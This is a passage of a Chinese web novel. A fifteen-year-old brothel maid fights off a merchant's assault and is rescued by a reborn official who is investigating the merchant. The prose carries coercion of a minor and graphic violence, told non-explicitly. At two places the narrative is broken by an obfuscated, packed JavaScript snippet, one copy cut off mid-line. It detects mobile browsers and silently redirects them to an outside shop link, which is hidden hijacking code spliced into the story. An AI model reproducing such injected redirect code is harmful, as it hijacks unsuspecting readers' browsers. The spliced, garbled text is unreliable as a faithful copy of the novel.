尽管重来一世,她在他身上刻下的烙印,还是没法彻底抹去。 目光转向一旁被自己打晕的崔老爷,露出的脖颈上有一处红点,细细一看,那是被发簪刺出的血窟,只是力道较小,没能刺穿脖颈。 显然她尝试过杀崔老爷。 “你可知,按大祁律法,杀人的后果是什么?” 虞秋水不知道,她只握紧手里发簪,警惕他的一举一动。 “崔正是凉州城最大的富商,背后有刺史撑腰,你以为你杀了他,便可逃脱?” 男人的话比冰雪还要冷,虞秋水没有想过后果,她只想活着,有尊严,不被侮辱地活着。 她拢着堪堪遮住身子的衣裳,被墙壁的冷气冻得身子打颤,眼眶重新湿润,再看他时,颗颗泪珠砸落,脆弱的模样看着令人怜惜。 “我不是有意要杀他的,是他逼我的。” 许是因为他自进来后没有像崔老爷那样对她动手动脚,又或是她没有在男人身上感觉到令自己恶心的脂粉酒气,松了口气,没那么紧绷。 “是他先动手的,我不是自愿的……”她难以启齿,迅速瞥了眼瘫在地上不省人事的崔老爷,咬了咬唇,最终选择将一切都说出来:“他和柳妈妈一起逼我的,我根本不愿意。” 她猛地抬头,仰视着这个清冷绝尘得与周围格格不入的男人,被泪水模糊的视线里,他像是雪中谪仙,求生的本能让她再次请求他。 “你和他不是一伙的对不对?你能不能帮我,我不想被……”虞秋水根本感觉不到自己手背上的伤,她伸出鲜血流淌的手,轻轻扯他的衣摆,却被男人扯开衣摆。 直愣愣望着空了手,方才男人扯衣摆时,扫到了她手背,终于感觉到了痛意。 她缓缓转动脑袋,看到了躺在地上的崔老爷,男人若是没有阻止,以她的力道和角度,就能杀了崔老爷。 不愿意救她,为什么又要阻止她杀崔老爷呢? 虞秋水眨了眨眼,泪珠从眼尾滑落,再次抬头看向男人时,将自己脆弱的那一面展现出来。 这是她在华娘那学到的,华娘说,男人都喜欢柔弱女子,会激发他们的保护欲,抢着在女子面前表现。 “柳妈妈要是知道我对她的恩客动手,她饶不了我的。” 可她忘了,她做不出那种矫揉造作还柔弱的模样,更不知眼前的男人,没那么好骗。 沈琢凝视她良久,握着伞柄的手缓缓往上提。 只要他想,便可在现在将她杀了,前世的一切只会是一场梦,只有他一人记得。 衣摆又被扯动,看到她眼底的恨意与挣扎的瞬间,脑海里闪过画面。 女子跪在雨夜中,凄声哀求。 他走到她身后,举起的伞被她挥开。冷冽的雨冲打着脸,她回头,含着恨意的眼怒视他。 “你的阴谋得逞了,你高兴了?” 沈琢应该高兴的,现下就是他杀了这个折磨自己的人最好时机,但心口堆积的郁气怎么都得不到疏解。 杀了她,并不能令他畅快。 “只帮我这一次……” 声音重叠,沈琢抬起的手按下,杀意随之封入剑鞘中,他垂眸,凝视她半晌,开口道:“我可以帮你。” “谢谢公子相助!” 欣喜若狂的声音传入耳中,他并未回她这一句感谢,有那么一瞬间的恍惚。 原来她还会说谢谢。 少女稚嫩的脸庞即便满是泪痕,依旧难掩朝气。 沈琢想起自己查到的,她现在只十五,没有后来的狠辣心机,有人帮她,她便真情实意感谢,着实令他不适。 毕竟前世的她对自己,从来只会索求。 “我只能保证这次崔正不会动你。” 虞秋水愣了一下,说不清是失望还是该高兴,这次能躲过去,下次呢?刚想说话,男人已经转身去开门,急忙问:“不知公子姓名?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞秋水本以为柳妈妈会罚她板子,最后竟然只是罚她跪上一宿,第二日继续伺候华娘。 寒冷的夜跪上一晚,又未进食,第二日起来时,险些晕过去。 “你本事不小,我都接近不了他,你一句话吼出来,就引得他去救你,虞秋水啊虞秋水,我真是小瞧你了。” 不过昨晚的事过后,青玉楼里的人瞧她的眼神变得古怪起来,有些眼神她看不懂,有些她一看便知。 是想问她昨晚与那位沈公子发生了什么。 她只抿唇不言,一概不答,起先他们还有些兴致问,但次次得不到回答,便失去了兴致,离她远远的,生怕被柳妈妈的怒火波及到。 虞秋水不说话,只伺候华娘梳洗打扮。 刚梳好发,外头忽然吵闹起来,一道惊呼响彻整个青玉楼。 “崔老爷家里昨晚进贼,把他最宝贵的东西偷了!” 虞秋水没兴趣听那老头的事,继续给华娘穿衣裳。华娘是个爱看热闹的,一把夺过衣裳穿好,快步走出去。 她抱着脏衣裳拿去洗,出了房间瞧见华娘倚在围栏上,问底下人:“偷了什么宝贵东西?” 底下哄笑:“他的传家宝,命根子!” “昨晚啊,那贼潜进崔老爷家里,剁了他那物什,以后都不能寻花问柳了!” 虞秋水险些没抱紧衣裳,瞪大眼看去,恰巧对上华娘望过来的视线。 女子语气意味深长:“这可真是巧了,怎的轮到阿水你伺候崔老爷,他便出事了呢。” 虞秋水愣愣地想,是啊,怎么这么巧。 5. 第 5 章 马车谨慎行驶在雪地上,白日一直落雪,虽有人清扫,但赶不上落雪的速度,晚时堆积起来,地面湿滑,一不小心会翻车。 行驶的马车忽然停下,后方跟着的马车一阵响,侍童了解情况后,传来话:“公子,是崔老爷醒了,在呕吐。” 沈琢没说话,闭着眼,眉头紧蹙。 侍童等待片刻,未曾听到主子说话,便转了回去,叫车夫等崔老爷吐好,再回去。 后头传来崔老爷谩骂声,句句恶俗,不堪入耳。侍童捂住自己耳朵,不想听这肮脏话。 “等着,你给我等着,贱蹄子,我、我非要给你好看,来人,回去!今晚我定要上了她!” 马车里的人骤然睁眼,戾气混杂杀意一闪而过,外头又传来崔老爷的污言秽语,句句都在说要给虞秋水好看,不仅要破了她的身,还要将她扒光衣衫吊起来,给他那群狐朋狗友看看。 骨节凸起的手掀开帷幔,侍童还未来得及开口询问,沈琢已经下了马车,步向后方。 崔老爷的侍从见他来,连忙将求助的目光投向他,讪讪道:“沈公子,我家老爷喝醉了,还受了伤,再回去……” “滚,我要回去把那贱蹄子皮扒了——”崔老爷扶着马车又呕了出来。 侍从憋得脸都红了,不知该如何处理,再次将求助的目光投向沈琢。 “将他扶进马车,回崔府。” 侍从立刻得令,叫人手帮忙架着崔老爷上马车,崔老爷醉得都走不动,还有力气拍打侍从,一个劲地吼着要回去上了虞秋水。 男人站在夜色中,眼眸漆黑得与这夜色一般,看不出丝毫情绪。 侍从尴尬笑着请他帮忙送崔老爷回府,他颔首接下,转身回马车。 “今日崔老爷宴请在下,在下自是要护送他安全回府。” 侍从松了口气,定定望着男人背影,不由得感叹,这位沈公子确实是个厉害人物,才来几天,就将崔老爷治得服服帖帖,都不敢在他面前大口喘气。 不过很可惜,他只在凉州城待半月,没几日就要离开。 崔府门前丫鬟婆子接了崔老爷回去,崔老爷踉踉跄跄,醉醺醺地倒在婢女身上,嘿嘿一笑:“贱蹄子,你给我等着,明日我就去,额,把你上了。” 崔夫人站在边上冷眼看他进去,朝马车旁的男人行礼,面带歉意道:“今日麻烦沈公子了,改日妾再来谢过公子。” “夫人不必客气。”沈琢转身上了马车,侍童朝崔夫人点了头,叫车夫回去。 马车驶入夜色中,崔老爷骂骂咧咧的声音传出崔府。崔夫人掩了面走进府里,叫侍从把门拴上。 “真丢人。” 婢女哄了大半个时辰,才叫崔老爷睡下。熄灯后出了房间,瞧见崔夫人站在门口,差点吓着,下意识拢好衣衫,头都不敢抬。 “夫、夫人,老爷歇下了。” 崔夫人睨她一眼,并不在乎她与崔老爷做了什么,问她:“老爷今日去青玉楼,要的是谁?” 婢女想起方才崔老爷咬牙切齿骂的人,有些不确定,“应是青玉楼一名婢女。” “行了,你退下吧。” 婢女立刻行礼,掉头快步离开。 崔夫人未进去,她与崔老爷分房已久,现下他刚从那肮脏地出来,更是唾弃厌恶,怎会再靠近。 不悦地瞪了眼房门,轻嗤一声:“惯会欺负那些个没权没势的,怎不见你将官员之女抢来。” 崔夫人离开,屋檐上积雪滑落,砸在地面,啪嗒一声响。 “嗒,嗒,嗒……” 崔老爷是被渴醒的,眼还没睁开便扯着嗓子叫,水,水—— 他的声音没有发出来。 当即睁开眼,眼前被漆黑充斥,什么都瞧不清。胳膊动不了,嘴也被布块撑得都要裂开。 他使劲哼声,费力挣扎,怎的都挣扎不开。 崔老爷惊恐地发现自己被绑了。 “唔唔唔!” 谁!是谁绑了我!还不快松开! 双眼被蒙着,什么都瞧不见,他晃动脑袋,妄图将黑布蹭掉,动作倏地停住,身子僵着一动也不敢动。 敲击声停下,冰凉的匕首贴着他的脸,寒气浸入身体,叫他怕得身子发抖。 “凉州城的盐铁,归你管么?” 这声音压得很低,听不出是谁。 崔老爷立刻点头,“唔唔唔!” 既然是来做生意的,就该好好敬重我,你拿把刀架在我脖子上,几个意思? 他以为那人会松开自己,谁知点头过后,匕首压近,锋利得还没动手,就已经感觉到疼痛。 崔老爷连忙往后拱,使劲抵嘴里的布。 “上月初,你送一批盐铁出凉州城,去了岷南?” 崔老爷一愣,这事他做得极为隐蔽,这人是如何得知的? 正要出声质问,脖颈上的凉意撤开,他一喜,以为是那人准备找自己谈生意,下半身忽地传来剧痛。 疼得他眼珠子都快瞪出来,险些晕过去。 被堵住口,凄厉嚎叫发不出来,无人知道他遭遇了何种疼痛。 崔老爷挺着脖颈想看那处的情况,却撑不住身体疼痛,晕死过去。 来人抽出匕首,眸光瞥过他被包扎好的手,匕首在他手背纱布上擦干净,静待片刻,床上的人没了动静后,他转身朝窗户走去,翻开窗,身影没入黑夜中。 天亮时,昨晚伺候他的婢女进房,一瞧见床上场景,登时吓得脸煞白。 “来人,老爷死了,老爷死了!” 崔府一顿慌乱,大夫一瞧,神色讳莫,叫崔夫人屏退下人,悄声说:“崔老爷那处断了,日后怕是无法再传宗接代……” 崔夫人一愣,忽地笑出声。 将大夫送走,她喊来那婢女,厉声呵斥:“敢咒老爷死,你胆子不小。” 婢女吓得跪下,连连求饶:“奴婢只是,奴婢只是担心老爷,太害怕了,才会,才口不择言——” 啪的一声,婢女被一巴掌甩得趴在地上。 崔夫人冷眼瞧她:“再如何惊慌,也不可说出咒主子死的话,日后你去厨房做事,不要回来了。” 婢女捂着脸,哭唧唧跑去厨房。 没过几刻,崔老爷不能人道的消息传出来,家家户户都要说几句,或笑或讥讽,没有一个是担心他日后日子要怎么过的。 这事传到青玉楼,婢女小厮们松了口气。崔老爷来青玉楼,惯会指使人,还开罪不得,他没了那东西,就算是脸皮再厚,也没脸来青玉楼寻欢了。 柳妈妈站在房间门口半晌,压着眉头,叫婆子把虞秋水唤来。 华娘捏着帕子朝她挥袖,哼笑一声,扭着细腰下楼,“阿水啊,你瞧瞧你,这是办的什么事。” 虞秋水不知道自己做错了什么事,她只是想好好活着,没有挡任何人的道,怎么偏偏要被他们这群人缠着不放呢。 婆子将她推进房间里,带上门。她只看着柳妈妈,一句话也不说。 “你真是给我惹了个天大的祸出来。” 虞秋水反驳:“不是我做的,与我无关。” 柳妈妈指着她,气得手抖:“崔老爷能看上你,是你的福分,你倒好,把人伤了,还没了命根子——崔家要是来问责,你能脱得了干系?” “我只刺了他手,旁的不是我做的,他们就算来,我也是这么说。” “你,你——” 柳妈妈气急,一巴掌甩她脸上。 虞秋水被打得耳鸣,踉跄几步,眼前女人的摇摇晃晃。昨晚跪了一夜,冻得半晌都没恢复过来,柳妈妈又没收着力道,眼前一黑,人倒了下去。 “我是造了什么孽,竟然昏了头,收下你这个灾星。” 柳妈妈朝外头一喊,叫婆子进来把人抬走,连喝三盏茶才缓过来。 “妈妈,崔府那边……” 柳妈妈一拂手,冲着婆子撒火:“甭管,他们要是不来人,就当不知道。命根子是在他自个家断的,与青玉楼一丁点关系都没有。” 这事一出,青玉楼热闹起来,消失多日的恩客纷纷叫上先前喜欢的花魁,明里暗里打听崔老爷在青玉楼干了什么,竟叫那侠士愤怒得剁了他命根子。 花魁们自然是高兴与他们说不伤及自身利益的事,说得起劲,竟然给虞秋水与那只来过两次的沈公子造了个戏本,说是那沈公子英雄救美,救可怜的婢女脱离危险。 看不惯虞秋水的在边上冷笑,“也没见那沈公子将她赎出去。” 华娘听着,若有所思。 火柴噼里啪啦作响,虞秋水睁开眼,看到面前人时,吓得差点被身后枕着的木柴戳破脸。 “李四哥,你,你不是……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575931|187109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李四幽幽盯着她,待她不适地移开目光时,才解释道:“柳妈妈知道我想带你走。” 虞秋水浑身一抖,想起看见他被打得流血,知道这法子是不行了。 “他们把我拖到湖边,想把我冻死在雪地里,这样就不是他们把我打死,官府查起来,不会怪到他们头上。” 李四声音哑得像锯枯木,虞秋水浑身发寒,越发觉得这里是个吃人的地。 “我爬回来了。” 虞秋水立刻看他,正要问他接下来打算,瞥见他不正常蜷缩的双腿,直愣愣望着。 李四见她看自己的腿,轻描淡写道:“他们打折了我的腿,在外头冻了一天一夜,冻坏了,再也好不了。” 虞秋水眨了眨眼,视线瞬间模糊,李四忽地朝她抬手,她下意识偏头躲过去。 李四伸出的手僵硬,失望地收回来,盯着灶里燃烧的火,轻声说:“我没事,你别担心。” 虞秋水怔愣许久,忽然摸自己的脸。 手刚碰上去,火辣辣地疼,她起身要去抹猪油,李四一句话让她停下。 “我帮你擦过脸了,”在她望过来时,李四补充道:“没用手,用筷子抹的。” 虞秋水提起的心落下去,但也不想再在木柴上靠着,膈得后背疼。 “我睡了多久?” 她朝外望去,李四开口:“三四个时辰了,现在约莫戌时。” 正要说谢谢,外头传来焦急呼唤:“小水,柳妈妈叫你去厅堂,崔老爷来了!” 方才安定下的心,沉到谷底。 “你敢现在跑吗?” 虞秋水不敢,看到过李四哥被打的样子,也知道私自跑出青玉楼的花魁婢女都是什么下场,她就算敢,也跑不了。 李四撑着灶台起身,迅速往她手里塞了样东西,随后支撑不住,重重坐了回去。 “小水,你快些去,崔老爷正在气头上,你说些好听的话,青玉楼能不能挨过这一遭,靠你了。” 这话一出,李四也知道虞秋水是不可能逃得了,枯寂的眼在凝视她,看着她被婢女拖走。 他自嘲地笑,拾起木柴往灶里塞。 李四啊李四,你自己都保护不了自己,还提什么带她一起走,真是可笑。 “崔老爷,阿水来了。” 柳妈妈使劲一拉虞秋水,按着她的后颈叫她给崔老爷赔不是。 虞秋水只看到一头没了把的猪躺在轿椅上,一见到她,怒目圆睁,嘴的谩骂一停,狞笑道:“我给你个赔罪的机会,跟我去崔府,做我的妾,老子叫你往东,你不能往西。” “不然,你们就等着官府来,封了青玉楼,老子看你们还怎么卖!” 柳妈妈咬紧后槽牙,忍了又忍,一把抓住虞秋水双手,冲她笑:“小水啊,现在是时候报答妈妈这三年养育之恩了,你跟了崔老爷,定然是比在青玉楼好,应了吧。” 本就被冻得无血色的脸,此刻更是白得像张纸,嘴唇嚅动,什么话都说不出来。 柳妈妈,你好狠的心。 崔老爷没了把,她又刺伤了他的手,她去了崔府,怎么可能比在青玉楼好,还不知道要怎么打她。 “我不要……” 柳妈妈甩开她的手,冷了脸,斥责她:“听话!” 虞秋水宁愿死在雪地里,也不要被人羞辱。 她拔出李四塞给自己的簪子,冲着崔老爷就刺。然而不等她冲到崔老爷面前,就被小厮拦住。 崔老爷冷冷一笑,忍着屈辱的痛,看向柳妈妈,“洗干净了,明晚抬到我府上。子时前见不到人,你就等着官府收押吧。” 崔老爷一走,门口冷清得雪都不落。 小厮掰开她的手指头,抢走她手里的发簪一扔,虞秋水的心跟着坠落的簪子一起沉了。 她被关进黑屋里,柳妈妈派人看着。 “要怪就怪你身后没人,你若是能攀上比崔老爷还厉害的人物,谁敢动你?” 华娘将吃食端到桌上,见她一点反应都没有,骂了句没良心,走了。 虞秋水缩在床角,望着那已经凉了的饭食,脑中回荡华娘的话,眨了眨眼,恍惚间看到一道朦胧身影,像雪一样,轻飘飘地落下。 黯淡的眸光倏地亮了起来。 对,还有他,那个人一看身份就不一般,绝对能治得了崔老爷! 6. 第 6 章 可这个念头在尝试逃跑被拦回来后断了。 那晚帮了自己一次的人她也不知对方叫什么,更不知他住在何处,根本没法子向她求助。 柳妈妈带着人来给她梳妆打扮。 “小水啊,不要怪妈妈,妈妈不不仅要养你,还得养这么一大家子人,哪里能拒绝得了崔老爷。” 虞秋水紧抿唇,一句也不搭理她。 柳妈妈见她这样,干脆也不装了,扯着她发髻把发簪一插,冷哼一声,“你若是有本事,你就把崔老爷除了,崔家那位,巴不得他去死呢。” 虞秋水绞紧手,眨了眨眼,望着镜子里被浓妆艳抹的自己,只觉得恶心。 柳妈妈还在说:“你以为你躲过一劫,就能躲得了一辈子?进了青玉楼,就要认清自己的身份,早晚都要去伺候人的,还不如早早做准备,日后也没那么痛苦。” 虞秋水不想。 不管柳妈妈怎么说,她都一声不吭。 这次要么她侥幸逃脱,要么就香消玉殒。 柳妈妈知道她心里想的,轻蔑地摇摇头,叫婆子和小厮看好她。 “今晚戌时,就将她送进崔府。” 崔老爷的人给了她赎金,与先前说好的少了一半,若是没出那档子事,一分不少。 柳妈妈吵过,崔老爷又不是在青玉楼断的命根子,与她青玉楼有何关系。崔老爷话说得狠,要么接了,要么就去官府。 官府一闹,青玉楼生意还好做? 柳妈妈只得应下。 走之前还骂了句:“赔钱的玩意。” 虞秋水身子一颤,捏紧衣衫,心知这些人与自己没什么感情,但听到这般骂自己,终究不好受。 婆子让她换喜服,她瞥眼去看,只是件红衣衫,不知道从哪翻出来的老旧衣衫。说的好听是喜服,实则露骨,正经的姑娘谁会穿这种衣衫。 婆子见她不动,伸手就扒她衣衫,虞秋水慌忙搂紧自己,朝婆子哀求:“我自己穿,我自己能穿!” 婆子没扯动,暗叹她好大的力气,想到这事已经板上钉钉,她再怎么跑,也跑不出去,点了头,让她自己换。 “别耍花招。” 婆子把门带上,房间里立刻冷清下来,虞秋水还保持着抓自己衣衫的姿势,盯着那件裸露衣衫,久久未动。 拖着沉重的身体,缓缓走到窗边,靠在窗柩上,痴痴望着外头的雪。 何时她能像那雪一样,自由自在地飘扬于世间,不受约束,只为自己。 虞秋水吃完最后一顿饭,婆子推开门,引着她下楼,马车已经停在后院。 走到后院时,外头又下起了雪,纷纷扬扬,迷人眼。 虞秋水抬手接住雪花,薄薄的一片,在手心很快融化,什么都留不住。 她被推着上了马车,婆子喊了一声:“走——” 那一刻虞秋水忽然剧烈挣扎,掀开车帘往外冲,却被小厮一把推回马车里,撞到双腿,一时间没能站得起来。 “我劝你啊,别想跑了,去崔府当妾多好,现在崔老爷没了命根子,不能人道,你去了,都不用受那苦。” 小厮们说着说着,笑了起来。 不是他们要被卖,他们当然能笑得出来。 虞秋水捂住耳朵,不想听。 马车驶出后院,经过湖泊,前几日她敲开的冰窟又结了一层冰,根本不见她来过的痕迹。 走过小巷,上了街道正要在岔口拐弯时,遇到了点问题,路被堵着了。 “前面好像是有辆马车行驶得太快,翻了,一连翻了三辆,这条路怕是走不了。” 虞秋水听到小厮与车夫说话,心神一动,再次掀开帘子,看到堵着的小厮,不等他说话,就将帘子松开,隔绝他的目光。 柳妈妈一共派了三个小厮一个车夫送她,她要想跑,就得把这三个都支开,但显然不可能,也来不及了。 车夫掉头,换了条路走。 绕路耗了点时间,到达崔府侧门时,已天已经黑透,从黑漆漆的小巷行驶到崔府侧门,一路上除了马车车轱辘声,别的什么都听不到。 虞秋水越发地慌,拔下簪子藏在袖子里,动作一顿,想到那晚已经藏在袖子里过,怕会被发现,她换了个地方藏,但哪都有可能被发现,最后藏在胸口。 这里不会被查,崔老爷若是碰她,她就动手杀了她。 这一次,鱼死网破! 来接虞秋水的婢女领着她去崔老爷房间,路上遇见了崔夫人。 这是虞秋水第一次看到如此贵气的女子,大红的袄子穿身上,头戴金簪,唇施红指,指戴蔻丹,尤为雍容华贵。 崔夫人与崔老爷是双方父母张罗的婚事,没什么感情,崔老爷花名在外,把崔夫人当个摆设,但吃穿用度不会苛待。 崔老爷家财万贯,崔府用的都是价格昂贵之物,说出去有面子。 虞秋水听说过这位崔夫人尤为看不惯崔老爷花天酒地的作风,心底升起一丝希望,刚想求她帮自己,崔夫人一摆手,嫌弃地叫婢女带她走。 “快些送老爷房里去吧,老爷闹着呢。”她话说得讽刺极了,一丁点怜悯都没有。 虞秋水低了头,将自己那可笑的心思收回去。没人会救她,只能靠自己。 婢女把她带到崔老爷房间里,把门关上,她打不开。 转身环视四周,屋里头阴寒阴寒的,叫人浑身发凉。视线一转,看到床上躺着的人,死死捂住自己的嘴,不让自己叫出来。 崔老爷就躺在床上,盯着她的眼充满恶意。 “贱蹄子,我看你还能往哪跑。” 崔老爷真是非同一般的人,刚遭遇了彻骨的痛,居然还有力气作践人。 外头守着的婢女面面相觑,倒也没有多为虞秋水可惜,毕竟在她们眼中,青玉楼的妓子,比她们这些在正经人家做事的丫鬟,卑贱得多。 “过来。” 崔老爷朝门口站着的小姑娘招手,狞笑。 虞秋水控制着自己发颤的身子,在心里一遍一遍告诉自己,大不了鱼死网破,今后再也不会有人欺负她。 深吸一口气,嗅到房间里难闻的味道,想起先前吃的亏,当即屏息。 崔老爷嫌弃她慢,骂骂咧咧一拍床栏,动静大得外头婢女都能听见。 虞秋水本来还想慢慢来,崔老爷骂她的话直接刺激了她,连气也不屏了。中迷香便中吧,待会他就要死了,她即使中了迷香,他也动不了她。 至于之后的事,她若是还能活着,届时再想吧。 虞秋水捏紧双手,朝他走去。 崔老爷见惯了青玉楼那些妖媚的脸,乍一见她这般清纯稚嫩的模样,一时间看呆了。 她这张脸跟灵丹妙药似的,居然让他歇火了的那处隐隐有起来的苗头。 可惜,没了就是没了,做不了那事。 崔老爷挺起身子,急不可耐地想现在就尝尝她的滋味,身上一痛,冷了脸,更想折磨她,将自己受的痛报复在她身上。 “来,快点,快点来。” 虞秋水笑不出来了,走到床角,离他只有不到两米的距离时,见他那恶俗的样,找了借口拿簪子。 “我有点怕,能不能把烛灯灭了?” 被色欲冲昏了头,崔老爷连连点头,说:“熄吧熄吧,小丫头,今晚我定叫你知道刚伤我的下场。” 有些人欺软怕硬,找不到断自己命根子的人,又觉得自己命根子没了丢人,还怕那事被揭穿,硬是没有报官。 虞秋水转身将房间内所有烛灯熄灭,她背对着崔老爷,正要拿出发簪,忽地想到什么,换了发间发钗捏在手里,这才转身走向崔老爷。 “宝贝儿,来……”崔老爷撑起身子,色眯眯望着她。 靠近崔老爷之时,虞秋水立刻抬手,将手里发钗刺向他。 黑暗中寒芒一闪,崔老爷挥手攥住她握发钗的手,将她往床上一扯,夺了她手上发钗,甩开她胳膊,冷笑一声。 “已经被你偷袭过一回,你以为我不会防备吗?” 虞秋水猛地一掀帷幔砸在他脸上,在他拉扯帷幔时,拿出藏好的发簪往他身上扎。 你有所预防,我也预防到了。 她双手握着发簪往他身上刺,直接往他下.半身扎,专门盯着他脆弱的地方。 虞秋水也不想做这种事,但总是有人逼她。 她只想活着,像个人一样活着,为什么就那么难。 既然不愿放过她,那就一起死好了。 崔老爷没料到她还有后手,被刺了个准,疼得嚎叫出来。 外头的婢女隐隐听到个叫声,以为是他们在做那事,没有进去。崔老爷的癖好她们是知道的,见怪不怪了。 虞秋水拔起发簪,转了方向,朝他脖颈刺。 第一次被他躲开,刺了个空。 崔老爷拉着帷幔去挡,帷幔坚持不住他体重,连着床梁被扯断,砸在他身上。 本来他是能推开床梁的,但身上最脆弱的东西没了,还没养好,被虞秋水狠狠扎进去,痛得哪有力气推开。 虞秋水喘了口气,崔老爷嚎叫咒骂的话一句接着一句,她不听。 握紧了发簪,高高举起。 看 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虞秋水人还没回神,脑子里只想着要杀了崔老爷,使劲挣扎,还要再刺崔老爷,却怎都挣不开。 来人沉眸凝视她此刻几近癫狂的模样,眼前忽闪,她的身影逐渐与前世重叠。 死前的火海里,她也是这般疯狂,血从手心一滴一滴落下,她感觉不到痛一般,攥着发簪,刺向—— 忽地一声压抑的低吼响起,将他从回忆中拉回来。 “为什么不让我杀他?” 沈琢垂眸望她,对上她猛地抬起来的脸,泪珠一颗颗滚下,昨日哭红的眼,至今还未消。 “我只是想自保,我不愿被他玷污,这都不行吗?” 沈琢眉头微微蹙起,从未见过她哭成这般模样,前世遇到她时,她已经是公主,自有嬷嬷教养她礼仪,断不可能如现在这般失态。 沈琢没有动,但依旧禁锢她双手,不让她刺崔老爷。崔老爷早就吓晕了,躺在床上和死尸无差。 此刻赶来的侍从将屋内烛灯点亮,瞧见自家主子正抓着一小姑娘的手腕不放,不由得诧异。 主子居然碰那小姑娘的手!这可真是罕见呐,主子平日里见到女子靠近便拒绝的,连男子靠近都得保持距离,怎的这会子,居然主动抓那小姑娘的手? 侍从刚要说已经按照他吩咐的搜查崔府,走近几步瞧见那小姑娘哭得泪花花的,心道不得了了,主子把人家小姑娘弄哭了。 正想着要不要先退出去,把空间留给两人,冷不丁听到沈琢问自己,吓了一跳。 “事情都处理完了?” 陆云连忙回答:“已经按主子你吩咐的做了,兄弟们这次定是要将崔府翻个底朝天。” 再一瞧小姑娘埋怨地望着自家主子,心道难道是主子惹到这小姑娘了? “愣在这做什么?” 沈琢一眼扫过来,陆云赶紧行礼跑了。 不知怎的,主子来了凉州城后,好似很容易烦躁,没敢问他怎么了,只能尽量将他吩咐的事完成。 陆云退出去后,沈琢垂眸望着眼泪依旧不断、身子颤抖的少女,恍惚间意识到她才十五,不是三年后被寻回去的公主,经历的少。 所以遇到这些事,会害怕是正常的。 扫了眼昏死的崔老爷,再一看到他身上的血,视线锁定在少女紧握的发簪上。 她的手还在颤。 他压了眉梢,抑制身体里对她的抗拒与杀意,声音冷得如冰,“你今晚杀了他,明日便会被抓入牢中,受刑,斩首。” 少女身子一颤,冲动过后,理智回笼,听到他的话,本能地害怕。 “我……”她眨了眼,眼眶里蓄积的泪水齐齐砸落,求生的欲望大过一切,她想活着。 如果不是想活下来,她早就在被卖进青玉楼时跳进后院湖里,早就在被那对夫妻买之前,寻死了。 手里的发簪坠落,砸在地面,哐当一声,好似砸在她心口,一下将她砸醒。 沈琢松开了她。 她动了动手,捏紧他的衣衫,小心翼翼请求他,“你可以当做没有看见吗?” 她似乎知道自己这个请求很无理,说完后紧张不已。 少女红了的眼眶含着透彻的水雾,眼睫颤着,惊魂未定,眼里此刻全都是期盼。 沈琢将她小心试探的模样与记忆中的她对比,随后发现,她们身上相似之处甚少。 现在的她,没有令他憎恶的偏执。 轻轻眨了一下眼,他吐出一个字:“好。” 虞秋水瞬间亮起双眼。 7. 第 7 章 “多谢公子!” 这是入冬以来虞秋水第一次这么开心。 她还想多说几句感谢的话,男人却转身离开,一句话都没有说。 虞秋水愣愣站在一地狼藉的房间里,缓缓垂了脑袋。也是,他这样的人,应该不会想和她扯上关系。 “姑娘,姑娘?” 呼唤声将她叫回神,虞秋水抬头一看,见到黑压压的一群人站在自己面前,齐刷刷都看着自己,冷不丁吓着,后退了几步。 “我等是来收拾残局的,姑娘可否让让?” 虞秋水连忙低着头让开,黑衣人齐齐走过来,她又往边上退,身子贴着墙壁,不敢多说一句。 两名黑衣人架着崔老爷出去,对他身上的血没什么反应。 剩下的黑衣人在屋子里翻找起来,看样子不是知道她杀崔老爷而来。 待她看见黑衣人找到些信件,猜到一些,知道这不是自己该看的,立刻退出去。 外头扫视一圈,在院口看见男人颀长身影,他未穿昨日身上着的那件白色大氅,一身劲装,身形挺拔,院口站着好些人,虞秋水一眼便望到了他。 他在与崔夫人说话。 不知怎的,虞秋水不想他和崔夫人说话。 崔夫人方才还在嘲讽她,不是好人。 她站在房间门口,直直盯着他。 “朝堂派本官来处理此事,定然不会疏漏,崔夫人提供的线索若是属实,本官当然会酌情处置。” 崔夫人连连感谢,开始诉苦,说崔正是怎么摧残她,祸害整个崔府的。 沈琢并没有心思听她诉苦,方要离开,敏锐察觉到身后视线,熟悉得不用回头去看便知是谁。 她惯会在他身后监视他。 “本官还有要事处理,不陪了。” 他转身就走。 虞秋水见他要走,抬脚就追上去,被崔夫人拦住。 “小姑娘,你本事不小啊,连崔正都敢刺。” 人抬出来的时候她可是见着了,刺得又狠又准,这人逼到绝路,真是赫人得很。 男人纤白的身影没入雪夜中,找不见了。 虞秋水转身看她,问:“你还有什么要说的?” 崔夫人虽看不惯她,但都是女人,好心提点一句:“你被送进崔府已是人尽皆知,如今崔府被抄,你断不可能留在崔府。” “我没有要留在这。” 崔夫人摇头,被侍从押住双臂,走之前留下一句:“你已经入了崔府,青玉楼还能留你吗?” 虞秋水愣愣站在原地,看着黑衣人一个接一个地离开,崔夫人的话在脑海中回荡。柳妈妈不可能容得下她的,崔府被抄,除了回青玉楼,她还有去处吗? “快些收拾,折腾这么久,这一案总算是查干净了。” 是先前叫她让开的侍从。 虞秋水猛地回神,四处张望,看到侍从,立刻跑过去。 她在不远处站着,本想找机会见缝插针与他说话,却听到边上被绑起来的婢女小厮们说,这群人很是厉害,尤其是救她的沈公子,官比刺史大人还大。 虞秋水愣愣听着,脑海里浮现一个念头。 陆远等了好一会也没见那小姑娘寻自己,主动过去。 虞秋水小心问:“你们,你们要走了吗?” 侍从打量这个小姑娘,见她哭花了脸,朝自己脸上指了指,示意她脸上妆粉花了。 虞秋水胡乱擦了几下,又问了一遍。 陆云嗯了一声,猜到她是来问自家主子,但主子没发话,多的也不能说。 